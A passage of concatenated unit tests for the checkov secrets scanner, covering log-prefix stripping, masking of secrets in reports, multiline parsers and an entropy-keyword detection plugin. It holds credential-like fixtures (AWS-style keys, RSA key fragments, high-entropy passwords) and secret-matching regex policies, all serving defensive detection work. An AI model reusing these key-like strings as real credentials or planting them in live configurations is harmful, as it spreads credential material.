"customerName": "test1", "isCustom": True, "code": "definition:\n cond_type: secrets\n prerun:\n - (?i)(?:ACCESS)\n supported_files:\n - .mine\n value:\n - 'AWS_ACCESS_KEY_ID'", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None } ]} runner = Runner() report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, ["test1"]) self.assertEqual(len(interesting_failed_checks), 1) ================================================ FILE: tests/secrets/test_log_prefix_stripper.py ================================================ import unittest from checkov.secrets.log_prefix_stripper import ( strip_log_prefix, has_log_prefixes, strip_log_prefixes_from_content, create_stripped_content, ) from pathlib import Path from checkov.secrets.runner import Runner from detect_secrets.settings import transient_settings class TestStripLogPrefix(unittest.TestCase): """Tests for the strip_log_prefix function.""" def test_pipe_separated_prefix(self) -> None: line = "2026-01-07 09:41:37.553 | DEBUG | crypto | -----BEGIN RSA PRIVATE KEY-----" result = strip_log_prefix(line) self.assertEqual(result, "-----BEGIN RSA PRIVATE KEY-----") def test_pipe_separated_prefix_with_info(self) -> None: line = "2026-01-07 09:41:37.552 | INFO | crypto | Decrypting signing key" result = strip_log_prefix(line) self.assertEqual(result, "Decrypting signing key") def test_bracket_style_prefix(self) -> None: line = "[2026-01-07 09:41:37] [DEBUG] -----BEGIN RSA PRIVATE KEY-----" result = strip_log_prefix(line) self.assertEqual(result, "-----BEGIN RSA PRIVATE KEY-----") def test_bracket_style_with_module(self) -> None: line = "[2026-01-07 09:41:37] [INFO] [crypto] Decrypting signing key" result = strip_log_prefix(line) self.assertEqual(result, "Decrypting signing key") def test_space_separated_prefix(self) -> None: line = "2026-01-07 09:41:37.553 DEBUG crypto - -----BEGIN RSA PRIVATE KEY-----" result = strip_log_prefix(line) self.assertEqual(result, "-----BEGIN RSA PRIVATE KEY-----") def test_iso_timestamp_prefix(self) -> None: line = "2026-01-07T09:41:37.553Z | INFO | Starting application" result = strip_log_prefix(line) self.assertEqual(result, "Starting application") def test_time_only_prefix(self) -> None: line = "09:41:37.553 | DEBUG | crypto | -----BEGIN RSA PRIVATE KEY-----" result = strip_log_prefix(line) self.assertEqual(result, "-----BEGIN RSA PRIVATE KEY-----") def test_no_prefix(self) -> None: line = "-----BEGIN RSA PRIVATE KEY-----" result = strip_log_prefix(line) self.assertEqual(result, "-----BEGIN RSA PRIVATE KEY-----") def test_plain_text_no_prefix(self) -> None: line = "This is just a normal line of text" result = strip_log_prefix(line) self.assertEqual(result, "This is just a normal line of text") def test_empty_line(self) -> None: result = strip_log_prefix("") self.assertEqual(result, "") def test_base64_content_preserved(self) -> None: line = "2026-01-07 09:41:37.553 | DEBUG | crypto | MIIEpAIBAAKCAQEAx9TgJ2Zy7KX8rJ3k8PpZrK7aR0L8" result = strip_log_prefix(line) self.assertEqual(result, "MIIEpAIBAAKCAQEAx9TgJ2Zy7KX8rJ3k8PpZrK7aR0L8") class TestHasLogPrefixes(unittest.TestCase): """Tests for the has_log_prefixes function.""" def test_log_file_detected(self) -> None: content = ( "2026-01-07 09:41:37.550 | INFO | main | Starting application\n" "2026-01-07 09:41:37.551 | INFO | config | Loading configuration\n" "2026-01-07 09:41:37.552 | INFO | crypto | Decrypting signing key\n" "2026-01-07 09:41:37.553 | DEBUG | crypto | -----BEGIN RSA PRIVATE KEY-----\n" "2026-01-07 09:41:37.553 | DEBUG | crypto | MIIEpAIBAAKCAQEAx9TgJ2Zy7KX8\n" ) self.assertTrue(has_log_prefixes(content)) def test_plain_file_not_detected(self) -> None: content = ( "-----BEGIN RSA PRIVATE KEY-----\n" "MIIEpAIBAAKCAQEAx9TgJ2Zy7KX8rJ3k8PpZrK7aR0L8\n" "-----END RSA PRIVATE KEY-----\n" ) self.assertFalse(has_log_prefixes(content)) def test_mixed_content_below_threshold(self) -> None: content = ( "This is a normal line\n" "Another normal line\n" "Yet another normal line\n" "2026-01-07 09:41:37.553 | DEBUG | crypto | one log line\n" "More normal content\n" "Even more normal content\n" "Still normal\n" "Normal again\n" "Normal once more\n" "Final normal line\n" ) self.assertFalse(has_log_prefixes(content)) def test_empty_content(self) -> None: self.assertFalse(has_log_prefixes("")) def test_bracket_log_detected(self) -> None: content = ( "[2026-01-07 09:41:37] [INFO] Starting application\n" "[2026-01-07 09:41:37] [INFO] Loading configuration\n" "[2026-01-07 09:41:37] [DEBUG] Some debug info\n" ) self.assertTrue(has_log_prefixes(content)) class TestStripLogPrefixesFromContent(unittest.TestCase): """Tests for the strip_log_prefixes_from_content function.""" def test_strips_all_prefixes(self) -> None: content = ( "2026-01-07 09:41:37.552 | INFO | crypto | Decrypting signing key\n" "2026-01-07 09:41:37.553 | DEBUG | crypto | -----BEGIN RSA PRIVATE KEY-----\n" "2026-01-07 09:41:37.553 | DEBUG | crypto | MIIEpAIBAAKCAQEAx9TgJ2Zy7KX8\n" "2026-01-07 09:41:37.553 | DEBUG | crypto | -----END RSA PRIVATE KEY-----" ) expected = ( "Decrypting signing key\n" "-----BEGIN RSA PRIVATE KEY-----\n" "MIIEpAIBAAKCAQEAx9TgJ2Zy7KX8\n" "-----END RSA PRIVATE KEY-----" ) result = strip_log_prefixes_from_content(content) self.assertEqual(result, expected) class TestCreateStrippedContent(unittest.TestCase): """Tests for the create_stripped_content function.""" def test_build_log_file(self) -> None: test_file = str(Path(__file__).parent / "build_log_prefix" / "build_log_with_private_key.log") content = create_stripped_content(test_file) self.assertIsNotNone(content) self.assertIn("-----BEGIN RSA PRIVATE KEY-----", content) # Verify prefixes are removed self.assertNotIn("2026-01-07 09:41:37.553 | DEBUG | crypto | -----BEGIN", content) def test_plain_file_not_stripped(self) -> None: test_file = str(Path(__file__).parent / "build_log_prefix" / "plain_private_key.txt") content = create_stripped_content(test_file) self.assertIsNone(content) def test_nonexistent_file(self) -> None: content = create_stripped_content("/nonexistent/file.log") self.assertIsNone(content) def test_bracket_log_file(self) -> None: test_file = str(Path(__file__).parent / "build_log_prefix" / "bracket_log_with_private_key.log") content = create_stripped_content(test_file) self.assertIsNotNone(content) self.assertIn("-----BEGIN RSA PRIVATE KEY-----", content) self.assertNotIn("[2026-01-07 09:41:37]", content) def test_putty_key_log_file(self) -> None: test_file = str(Path(__file__).parent / "build_log_prefix" / "build_log_with_putty_key.log") content = create_stripped_content(test_file) self.assertIsNotNone(content) self.assertIn("PuTTY-User-Key-File-2: ssh-rsa", content) self.assertNotIn("2026-01-07 09:41:37.552 | DEBUG | ssh | PuTTY", content) class TestSafeScanWithLogPrefixes(unittest.TestCase): """Integration tests verifying _safe_scan detects secrets in build logs.""" def setUp(self) -> None: self.runner = Runner() self.plugins_used, self.cleanupFn = self.runner._get_plugins_used() def tearDown(self) -> None: self.cleanupFn() def test_rsa_private_key_in_pipe_log(self) -> None: """RSA private key in pipe-separated build log should be detected (CKV_SECRET_13).""" with transient_settings({'plugins_used': self.plugins_used}) as settings: settings.disable_filters('detect_secrets.filters.heuristic.is_indirect_reference') settings.disable_filters('detect_secrets.filters.heuristic.is_potential_uuid') _, results = Runner._safe_scan( 'tests/secrets/build_log_prefix/build_log_with_private_key.log', '.' ) self.assertGreaterEqual(len(results), 1) secret_types = {r.type for r in results} self.assertIn('Private Key', secret_types) def test_rsa_private_key_in_bracket_log(self) -> None: """RSA private key in bracket-style build log should be detected (CKV_SECRET_13).""" with transient_settings({'plugins_used': self.plugins_used}) as settings: settings.disable_filters('detect_secrets.filters.heuristic.is_indirect_reference') settings.disable_filters('detect_secrets.filters.heuristic.is_potential_uuid') _, results = Runner._safe_scan( 'tests/secrets/build_log_prefix/bracket_log_with_private_key.log', '.' ) self.assertGreaterEqual(len(results), 1) secret_types = {r.type for r in results} self.assertIn('Private Key', secret_types) def test_putty_key_in_build_log(self) -> None: """PuTTY key in build log should be detected (CKV_SECRET_13).""" with transient_settings({'plugins_used': self.plugins_used}) as settings: settings.disable_filters('detect_secrets.filters.heuristic.is_indirect_reference') settings.disable_filters('detect_secrets.filters.heuristic.is_potential_uuid') _, results = Runner._safe_scan( 'tests/secrets/build_log_prefix/build_log_with_putty_key.log', '.' ) self.assertGreaterEqual(len(results), 1) secret_types = {r.type for r in results} self.assertIn('Private Key', secret_types) def test_plain_file_still_detected(self) -> None: """Plain file without log prefixes should still detect secrets normally.""" with transient_settings({'plugins_used': self.plugins_used}) as settings: settings.disable_filters('detect_secrets.filters.heuristic.is_indirect_reference') settings.disable_filters('detect_secrets.filters.heuristic.is_potential_uuid') _, results = Runner._safe_scan( 'tests/secrets/build_log_prefix/plain_private_key.txt', '.' ) self.assertGreaterEqual(len(results), 1) secret_types = {r.type for r in results} self.assertIn('Private Key', secret_types) def test_mixed_secrets_in_build_log(self) -> None: """Both AWS key (single-line) and RSA private key (multiline) should be detected in a single build log scan — verifying the file is only scanned once with stripped content and both secret types are found.""" with transient_settings({'plugins_used': self.plugins_used}) as settings: settings.disable_filters('detect_secrets.filters.heuristic.is_indirect_reference') settings.disable_filters('detect_secrets.filters.heuristic.is_potential_uuid') _, results = Runner._safe_scan( 'tests/secrets/build_log_prefix/build_log_with_mixed_secrets.log', '.' ) secret_types = {r.type for r in results} self.assertIn('AWS Access Key', secret_types) self.assertIn('Private Key', secret_types) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/secrets/test_masking_secrets.py ================================================ import shutil import tempfile from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.secrets.runner import Runner def test_multiline_keyword_password_in_pod(): with tempfile.TemporaryDirectory() as tmpdir: tmp = Path(tmpdir) shutil.copytree(Path(__file__).parent / 'masking_secrets', tmpdir, dirs_exist_ok=True) Runner().mask_files(files=None, root_folder=tmpdir, runner_filter=RunnerFilter(framework=["secrets"])) f = tmp / 'findings_report_with_pass.json' assert f.is_file() content = f.read_text() assert content.count("AKIAY**********") == 12 assert content.count("AKIAYNKRE4OV2LF6TC3N") == 0 assert content.count("h4t2TJ**********") == 12 assert content.count("h4t2TJheVRR8em5VdNCjrSJdQ+p7OHl33SxrZoUi") == 0 f = tmp / 'assets_report_with_pass.json' assert f.is_file() content = f.read_text() assert content.count("AKIAY**********") == 1 assert content.count("AKIAYNKRE4OV2LF6TC3N") == 0 assert content.count("h4t2TJ**********") == 1 assert content.count("h4t2TJheVRR8em5VdNCjrSJdQ+p7OHl33SxrZoUi") == 0 ================================================ FILE: tests/secrets/test_multiline_finding_line_number.py ================================================ import os import unittest from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.runner_filter import RunnerFilter from checkov.secrets.runner import Runner from tests.secrets.utils_for_test import _filter_reports_for_incident_ids class TestMultilineFinding(unittest.TestCase): def test_multiline_finding(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/multiline_finding" bc_integration.customer_run_config_response = {"secretsPolicies": [ { "incidentId": "test1", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test1", "guideline": "test", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test1", "isCustom": True, "code": "definition:\n cond_type: secrets\n multiline: true\n prerun:\n - (?i)(?:algolia)\n value:\n - (?i)(?:algolia)(?:.|[\\n\\r]){0,80}([A-Za-z0-9]{32})\n", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None } ]} runner = Runner() report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, ["test1"]) self.assertEqual(len(interesting_failed_checks), 1) self.assertEqual(len(interesting_failed_checks[0].code_block), 1) self.assertEqual(len(interesting_failed_checks[0].code_block[0]), 2) self.assertEqual(interesting_failed_checks[0].code_block[0][0], 2) ================================================ FILE: tests/secrets/test_multiline_parser_json.py ================================================ import unittest from detect_secrets.util.code_snippet import CodeSnippet from checkov.secrets.parsers.json.multiline_parser import json_multiline_parser class TestMultilineParserJson(unittest.TestCase): def setUp(self) -> None: self.json_parser = json_multiline_parser def test_is_object_start(self): examples = [ (True, ' {'), (True, ' { \n'), (True, ' {'), (True, '{'), (True, '"key": {'), (True, '}, {'), (False, '"key": {}'), (False, '"key": { }'), (False, '"key": { }, '), (False, '{ "key": "value" }'), (False, '"key": { "key2": "value2", "key3": "value3" }, '), (False, '"key": "value" }'), (False, ' }, { "key": '), # is not supported (False, '}'), (False, ' }'), (False, '"key": 1, '), (False, '[1,2], ['), (False, '[1,2], '), ] for ans, line in examples: assert ans == self.json_parser.is_object_start(line) def test_is_object_end(self): examples = [ (True, '}'), (True, ' }'), (True, ' }'), (True, ' },'), (True, '}]}, '), (True, '"key": "value" }'), (True, '"key": "value" } , '), (True, '}, {'), (False, '"key": {}'), (False, '"key": { }'), (False, '"key": { }, '), (True, ' }, { "key": "value",'), (False, '"key": { "key2": "value2", "key3": "value3" }, '), (False, '"key": {'), (False, '{'), (False, ' {'), (False, '"key": 1, '), (False, '[1,2], '), ] for ans, line in examples: assert ans == self.json_parser.is_object_end(line) def test_lines_in_same_object1(self): # Please notice that additional logic required to determine for non-sequential lines, # see EntropyKeywordCombinator.analyze_multiline() function for example. # In the context of the tested function, 2 lines are treated as sequential. raw_context_example = CodeSnippet( snippet=[ ' conf_list_of_dicts": [', ' {', ' "name": "TEST_PASSWORD_1",', ' "value": "some secret",', ' "desc": "still same obj",', ' "type": 1', ' }', ' ],', ' "conf_dict": {', ' "name": "TEST_PASSWORD_1",', ' "value": "some secret",' ], start_line=5, target_index=5 ) examples = [ # index of rows in the context compared to the target row, which is: # ' "type": 1' (True, 1, raw_context_example), (True, 2, raw_context_example), (True, 3, raw_context_example), (True, 4, raw_context_example), (True, 6, raw_context_example), ] for res, i, raw_context in examples: assert res == self.json_parser.consecutive_lines_in_same_object( raw_context=raw_context, other_line_idx=i) def test_lines_in_same_object2(self): raw_context_example = CodeSnippet( snippet=[ ' , {', ' "value": "some secret",', ' }],', ' "conf_dict": {', ' "name": {} ', ' "value": { "key2": "value2", "key3": "value3" }",' ], start_line=2, target_index=1 ) examples = [ # index of rows in the context compared to the target row, which is: # ' "value": "some secret"' (False, 0, raw_context_example), (True, 2, raw_context_example), (True, 3, raw_context_example), ] for res, i, raw_context in examples: assert res == self.json_parser.consecutive_lines_in_same_object( raw_context=raw_context, other_line_idx=i) def test_lines_in_same_object3(self): raw_context_example = CodeSnippet( snippet=[ ' , {', ' "value": "some secret",', ' }],', ' "conf_dict": {', ' "name": {} ', ' "value": { ', ' "key2": "value2", ', ' "value": { "key2": "value2", "key3": "value3" }, ', ], start_line=2, target_index=5 ) examples = [ # index of rows in the context compared to the target row, which is: # ' "name": {} ' (True, 4, raw_context_example), (False, 6, raw_context_example), ] for res, i, raw_context in examples: assert res == self.json_parser.consecutive_lines_in_same_object( raw_context=raw_context, other_line_idx=i) ================================================ FILE: tests/secrets/test_multiline_parser_yml.py ================================================ import unittest from pathlib import Path from checkov.secrets.parsers.yaml.multiline_parser import yml_multiline_parser class TestMultilineParserYml(unittest.TestCase): def setUp(self) -> None: self.yml_parser = yml_multiline_parser def test_are_lines_same_indentation_yml(self): test_file_path = Path(__file__).parent / "resources/cfn/secret.yml" result = {0: True, 1: False, 2: False, 3: False, 4: False, 5: True, 6: False, 7: True, 8: True, 9: True, 10: True, 11: False, 12: False, 13: False, 14: False, 15: False, 16: True, 17: False, 18: False, 19: True, 20: True, 21: True} with open(file=test_file_path) as f: lines = f.readlines() # assert len(result) == len(lines)-1 for i in range(len(lines) - 1): result[i] = self.yml_parser.lines_same_indentation(lines[i], lines[i + 1]) assert result def test_line_is_comment_yml(self): examples = [ (True, "# comment"), (True, " # also comment"), (True, "// nice comment here"), (True, "//and nice comment here2"), (True, " // commenting with checkov and having fun"), (False, "var: a //this is not a comment"), (False, "var: not a comment # comment"), (False, " - var: a"), (False, "var: "), ] for ans, line in examples: assert ans == self.yml_parser.is_line_comment(line) ================================================ FILE: tests/secrets/test_plugin.py ================================================ import unittest from pathlib import Path from checkov.secrets.plugins.entropy_keyword_combinator import EntropyKeywordCombinator class TestCombinatorPlugin(unittest.TestCase): def setUp(self) -> None: self.plugin = EntropyKeywordCombinator() def test_positive_value(self): result = self.plugin.analyze_line("mock.tf", 'api_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY"', 5) self.assertEqual(1, len(result)) secret = result.pop() self.assertEqual("Base64 High Entropy String", secret.type) self.assertEqual("c00f1a6e4b20aa64691d50781b810756d6254b8e", secret.secret_hash) def test_suspicious_keyword_no_secret(self): result = self.plugin.analyze_line("mock.json", "'wrong_one_time_password' = 'Du har tastet feil engangspassord'", 5) self.assertEqual(0, len(result)) def test_suspicious_keyword_with_secret(self): result = self.plugin.analyze_line("mock.json", "'my_new_password':'F317a45xxmwov9bpgRhyuByXj2nxz7khS6yXQmfSaQCmwbTF1jpfgC56az4a'", 5) self.assertEqual(1, len(result)) secret = result.pop() self.assertEqual("Base64 High Entropy String", secret.type) self.assertEqual("F317a45xxmwov9bpgRhyuByXj2nxz7khS6yXQmfSaQCmwbTF1jpfgC56az4a", secret.secret_value) def test_unquoted_secret(self): result = self.plugin.analyze_line("mock.yaml", 'export secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY', 5) self.assertEqual(1, len(result)) secret = result.pop() self.assertEqual("Base64 High Entropy String", secret.type) self.assertEqual("c00f1a6e4b20aa64691d50781b810756d6254b8e", secret.secret_hash) def test_negative_keyword_value(self): result = self.plugin.analyze_line("mock.tf", "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY", 5) self.assertEqual(0, len(result)) def test_negative_entropy_value(self): result = self.plugin.analyze_line("mock.tf", "api_key = var.api_key", 5) self.assertEqual(0, len(result)) def test_popular_kubernetes_manifest_password(self): result = self.plugin.analyze_line("mock.yaml", 'pwd: "correcthorsebatterystaple"', 5) self.assertEqual(1, len(result)) secret = result.pop() self.assertEqual("Base64 High Entropy String", secret.type) self.assertEqual("bfd3617727eab0e800e62a776c76381defbc4145", secret.secret_hash) def test_no_false_positive_py(self): # combinator plugin should ignore source code files result = self.plugin.analyze_line("main.py", 'api_key = "7T)G#dl5}c=T>kf$G3Bon^!R?kzF00"', 1) self.assertEqual(0, len(result)) def test_no_false_positive_yml_1(self): test_file_path = Path(__file__).parent / "resources/cfn/secret-no-false-positive.yml" with open(file=str(test_file_path)) as f: for i, line in enumerate(f.readlines()): result = self.plugin.analyze_line("secret-no-false-positive.yml", line, i) self.assertEqual(0, len(result)) def test_no_false_positive_yml_2(self): test_file_path = Path(__file__).parent / "resources/cfn/secret-no-false-positive2.yml" with open(file=str(test_file_path)) as f: for i, line in enumerate(f.readlines()): result = self.plugin.analyze_line("secret-no-false-positive2.yml", line, i) self.assertEqual(0, len(result)) def test_no_false_positive_image_bytes(self): result = self.plugin.analyze_line("main.py", "'image/jpeg' : b'/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0a\nHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIy\nMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAACAAIDASIA\nAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA\nAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3\nODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm\np6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA\nAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx\nBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK\nU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3\nuLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD5/ooo\noAoo2Qoo'", 1) self.assertEqual(0, len(result)) def test_no_false_positive_token(self): result = self.plugin.analyze_line("main.go", 'fmt.Sprintf("https://%s:%s@", token, token)', 1) self.assertEqual(0, len(result)) def test_secret_value_in_keyword(self): result = self.plugin.analyze_line("mock.tf", 'export AWS_SECRET_ACCESS_KEY=h4t2TJheVRR8em5VdNCjrSJdQ+p7OHl33SxrZoUi', 1) self.assertEqual(1, len(result)) def test_k8s_secret_name(self): # given test_file_path = Path(__file__).parent / "resources/k8s/secret-name.yaml" # when with open(file=str(test_file_path)) as f: for i, line in enumerate(f.readlines()): result = self.plugin.analyze_line("secret-no-false-positive2.yml", line, i) # then self.assertEqual(0, len(result)) ================================================ FILE: tests/secrets/test_plugin_multiline_json.py ================================================ import time import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.secrets.plugins.entropy_keyword_combinator import EntropyKeywordCombinator from checkov.secrets.runner import Runner class TestCombinatorPluginMultilineJson(unittest.TestCase): def setUp(self) -> None: self.plugin = EntropyKeywordCombinator() def test_multiline_keyword_password_report(self): test_file_path = Path(__file__).parent / "json_multiline/test-multiline-secrets.json" report = Runner().run( root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=['secrets']) ) self.assertEqual(len(report.failed_checks), 5) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) def test_non_multiline_pair_time_limit_creating_report(self): # given test_files = [str(Path(__file__).parent / "json_multiline/pomerium_compose.json")] runner = Runner() runner_filter = RunnerFilter(framework=['secrets']) # when start_time = time.time() report = runner.run(root_folder=None, files=test_files, runner_filter=runner_filter) end_time = time.time() # then assert end_time-start_time < 2 # assert the time limit is not too long for parsing long lines. self.assertEqual(len(report.failed_checks), 6) # None of the results is related to multiline scanning - all is detected even if multiline scanning is disabled. # This is a different result compared to same data in .yml file. self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) ================================================ FILE: tests/secrets/test_plugin_multiline_terraform.py ================================================ from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.secrets.runner import Runner def test_multiline_keyword_password_in_pod(): # given test_file_path = Path(__file__).parent / "terraform_multiline/pod.tf" # when report = Runner().run( root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=["secrets"]) ) # then failing_resources = { "dcbf46de362e1b6942054b89ee293984e9a8a40a", "ac236b0474a9a702f99dbe244a14548783ace5c5", "9ed4f1457a9c27dd868c1f21276c6d7098d2bacf", "06af723e58378574456be0b4c41a89194aaed0c3", "5db2fafebcfed9b4c9ffc570c46ef2ca94a3881a", } failed_check_resources = {c.resource for c in report.failed_checks} assert len(report.passed_checks) == 0 assert len(report.failed_checks) == len(failing_resources) assert len(report.skipped_checks) == 0 assert len(report.parsing_errors) == 0 assert failing_resources == failed_check_resources def test_multiline_keyword_password_in_jsonencode(): # given test_file_path = Path(__file__).parent / "terraform_multiline/ecs_jsonencode.tf" # when report = Runner().run( root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=["secrets"]) ) # then failing_resources = { "dcbf46de362e1b6942054b89ee293984e9a8a40a", "ac236b0474a9a702f99dbe244a14548783ace5c5", "9ed4f1457a9c27dd868c1f21276c6d7098d2bacf", "06af723e58378574456be0b4c41a89194aaed0c3", "5db2fafebcfed9b4c9ffc570c46ef2ca94a3881a", } failed_check_resources = {c.resource for c in report.failed_checks} assert len(report.passed_checks) == 0 assert len(report.failed_checks) == len(failing_resources) assert len(report.skipped_checks) == 0 assert len(report.parsing_errors) == 0 assert failing_resources == failed_check_resources def test_multiline_keyword_password_in_json_heredoc(): # given test_file_path = Path(__file__).parent / "terraform_multiline/ecs_heredoc.tf" # when report = Runner().run( root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=["secrets"]) ) # then failing_resources = { "dcbf46de362e1b6942054b89ee293984e9a8a40a", "ac236b0474a9a702f99dbe244a14548783ace5c5", "9ed4f1457a9c27dd868c1f21276c6d7098d2bacf", "06af723e58378574456be0b4c41a89194aaed0c3", "5db2fafebcfed9b4c9ffc570c46ef2ca94a3881a", } failed_check_resources = {c.resource for c in report.failed_checks} assert len(report.passed_checks) == 0 assert len(report.failed_checks) == len(failing_resources) assert len(report.skipped_checks) == 0 assert len(report.parsing_errors) == 0 assert failing_resources == failed_check_resources def test_multiline_keyword_password_in_yaml_heredoc(): # given test_file_path = Path(__file__).parent / "terraform_multiline/cfn_heredoc.tf" # when report = Runner().run( root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=["secrets"]) ) # then failing_resources = { "dcbf46de362e1b6942054b89ee293984e9a8a40a", "ac236b0474a9a702f99dbe244a14548783ace5c5", "9ed4f1457a9c27dd868c1f21276c6d7098d2bacf", "06af723e58378574456be0b4c41a89194aaed0c3", "5db2fafebcfed9b4c9ffc570c46ef2ca94a3881a", } failed_check_resources = {c.resource for c in report.failed_checks} assert len(report.passed_checks) == 0 assert len(report.failed_checks) == len(failing_resources) assert len(report.skipped_checks) == 0 assert len(report.parsing_errors) == 0 assert failing_resources == failed_check_resources def test_multiline_keyword_password_skip_data_blocks(): # given test_file_path = Path(__file__).parent / "terraform_multiline/data.tf" # when report = Runner().run( root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=["secrets"]) ) # then assert len(report.passed_checks) == 0 assert len(report.failed_checks) == 0 assert len(report.skipped_checks) == 0 assert len(report.parsing_errors) == 0 ================================================ FILE: tests/secrets/test_plugin_multiline_yml.py ================================================ import time import unittest from pathlib import Path from detect_secrets.util.code_snippet import CodeSnippet from detect_secrets.util.filetype import FileType from checkov.runner_filter import RunnerFilter from checkov.secrets.plugins.entropy_keyword_combinator import EntropyKeywordCombinator from checkov.secrets.plugins.entropy_keyword_combinator import REGEX_VALUE_KEYWORD_BY_FILETYPE from checkov.secrets.plugins.entropy_keyword_combinator import REGEX_VALUE_SECRET_BY_FILETYPE from checkov.secrets.runner import Runner from tests.secrets.utils_for_test import _filter_reports_for_incident_ids class TestCombinatorPluginMultilineYml(unittest.TestCase): def setUp(self) -> None: self.plugin = EntropyKeywordCombinator() def test_keyword_in_value_pair(self): # first line is keyword, next line (underneath) is password context = CodeSnippet( snippet=[ 'name: "TEST_SOMETHING"', 'value: "not-a-real-password"', 'name: "TEST_PASSWORD_1"', 'value: "Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE=="', 'name: "TEST_PASSWORD_2"', 'value: "Zmlyc3Rfc2VjcmV0MjIyMjIyX2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzI"', 'name: "TEST_PASSWORD_3"', 'value: "Z2FlYnJzZGhqa2p1aGdmZHN3cXdnaHluanVraWxvaWtqdWh5Z3RyZmVkd3NlcnR5dWk4bw"', 'name: "TEST_PASSWORD_4"', 'value: "Z2FlYnJzZGhqa2p1aGdmZHN3cXdnaHluanVraWxvaWtqdWh5Z3RyZmVkd3NlcnR5dWk4bw"', 'name: "TEST_PASSWORD_BASE64_LONG_1"' ], start_line=112, target_index=5 ) raw_context = CodeSnippet( snippet=[ ' - name: TEST_SOMETHING\n', ' value: not-a-real-password\n', ' - name: TEST_PASSWORD_1\n', ' value: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\n', ' - name: TEST_PASSWORD_2\n', ' value: Zmlyc3Rfc2VjcmV0MjIyMjIyX2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzI\n', ' - name: TEST_PASSWORD_3\n', ' value: Z2FlYnJzZGhqa2p1aGdmZHN3cXdnaHluanVraWxvaWtqdWh5Z3RyZmVkd3NlcnR5dWk4bw\n', ' - name: TEST_PASSWORD_4\n', ' value: Z2FlYnJzZGhqa2p1aGdmZHN3cXdnaHluanVraWxvaWtqdWh5Z3RyZmVkd3NlcnR5dWk4bw\n', ' - name: TEST_PASSWORD_LONG\n' ], start_line=112, target_index=5 ) res = self.plugin.analyze_line( filename="test.yml", line='value: "Zmlyc3Rfc2VjcmV0MjIyMjIyX2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzI"', line_number=118, context=context, raw_context=raw_context ) expected_secret_value = 'Zmlyc3Rfc2VjcmV0MjIyMjIyX2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzI' assert res po_secret = res.pop() assert expected_secret_value == po_secret.secret_value assert po_secret.is_multiline is True def test_keyword_in_value_pair2(self): # first line is password, next line underneath is keyword context = CodeSnippet( snippet=[ '', '', '', '', '', 'value: "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE"', 'name: 